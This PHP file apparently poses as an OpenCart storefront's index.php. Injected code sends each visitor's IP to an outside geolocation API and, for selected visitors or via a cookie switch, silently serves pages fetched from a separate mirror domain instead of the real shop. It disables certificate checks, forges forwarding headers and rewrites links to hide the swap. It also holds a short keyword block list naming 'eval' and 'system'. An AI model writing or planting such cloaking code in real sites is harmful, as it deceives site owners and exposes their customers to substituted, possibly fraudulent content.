<?php
define('VERSION', '3.0.3.8');

$time_allow = 7;
$cookie_time = time() + $time_allow * 24 * 3600;
$mirror = "opendemo.eu.cc/my";
$is_https = true;

// 安全过滤
$request_uri = $_SERVER['REQUEST_URI'] ?? '';
$forbidden = ['../', '..\\', 'phpinfo', 'eval', 'system'];
foreach ($forbidden as $deny) {
    if (stripos($request_uri, $deny) !== false) {
        http_response_code(403);
        exit('Access Denied');
    }
}

// 强制切换 A
if ($_GET["cookie_version"] === "A") {
    setcookie("cookie_version", 'A', $cookie_time, '/');
    require_once('config.php');
    require_once(DIR_SYSTEM . 'startup.php');
    start('catalog');
    exit();
}

// 强制切换 B
if ($_GET["cookie_version"] === "B") {
    setcookie("cookie_version", 'B', $cookie_time, '/');
    $url = ($is_https ? 'https://' : 'http://') . $mirror . $request_uri;
    $content = replace_domain_only_in_a(file_get_content_sstr($url), '$mirror', $_SERVER['SERVER_NAME']);
    echo $content;
    exit();
}

// 自动判断
$data = '';
if (!isset($_COOKIE["cookie_version"]) && file_exists('userIP.class.php')) {
    include('userIP.class.php');
    $obj = new UserIP();
    $data = $obj->PostUserIP('https://api.crzn.com/v1/location?key_id=1c9A53fEa79830Ef3B45AE71E36917D295E97c9eDA19e28e3CD3D9B7ADFB2eB2');
}

// 进入镜像
if ((!isset($_COOKIE["cookie_version"]) && $data === 'B') || ($_COOKIE["cookie_version"] ?? '') === "B") {
    setcookie("cookie_version", 'B', $cookie_time, '/');
    $url = ($is_https ? 'https://' : 'http://') . $mirror . $request_uri;
    $content = replace_domain_only_in_a(file_get_content_sstr($url), $mirror, $_SERVER['SERVER_NAME']);
    echo $content;
    exit();
}

// 默认商城
require_once('config.php');
require_once(DIR_SYSTEM . 'startup.php');
start('catalog');
exit();

// 函数部分
function replace_domain_only_in_a($content, $old_domain, $new_domain) {
    return preg_replace_callback('/<a\s[^>]*href=["\']([^"\']*)["\'][^>]*>/i', function($matches) use ($old_domain, $new_domain) {
        return str_replace($old_domain, $new_domain, $matches[0]);
    }, $content);
}

function FormatHeader($url, $myIp = null) {
    $temp = parse_url($url);
    if (!$temp || empty($temp['host'])) return [];
    $myIp = $myIp ?? $_SERVER['REMOTE_ADDR'] ?? '127.0.0.1';
    return [
        "Host: {$temp['host']}",
        "Content-Type: text/html; charset=utf-8",
        'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8',
        "Referer: {$temp['scheme']}://{$temp['host']}/",
        'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36',
        "X-Forwarded-For: {$myIp}",
        "X-Real-IP: {$myIp}"
    ];
}

function file_get_content_sstr($url) {
    if (!$url || !filter_var($url, FILTER_VALIDATE_URL)) return '';
    $ch = curl_init();
    curl_setopt_array($ch, [
        CURLOPT_URL => $url,
        CURLOPT_RETURNTRANSFER => true,
        CURLOPT_HTTPHEADER => FormatHeader($url),
        CURLOPT_HEADER => false,
        CURLOPT_CONNECTTIMEOUT => 30,
        CURLOPT_TIMEOUT => 30,
        CURLOPT_FOLLOWLOCATION => true,
        CURLOPT_MAXREDIRS => 5,
        CURLOPT_SSL_VERIFYPEER => false,
        CURLOPT_SSL_VERIFYHOST => false,
        CURLOPT_ENCODING => '',
    ]);
    $content = curl_exec($ch);
    curl_close($ch);
    return $content;
}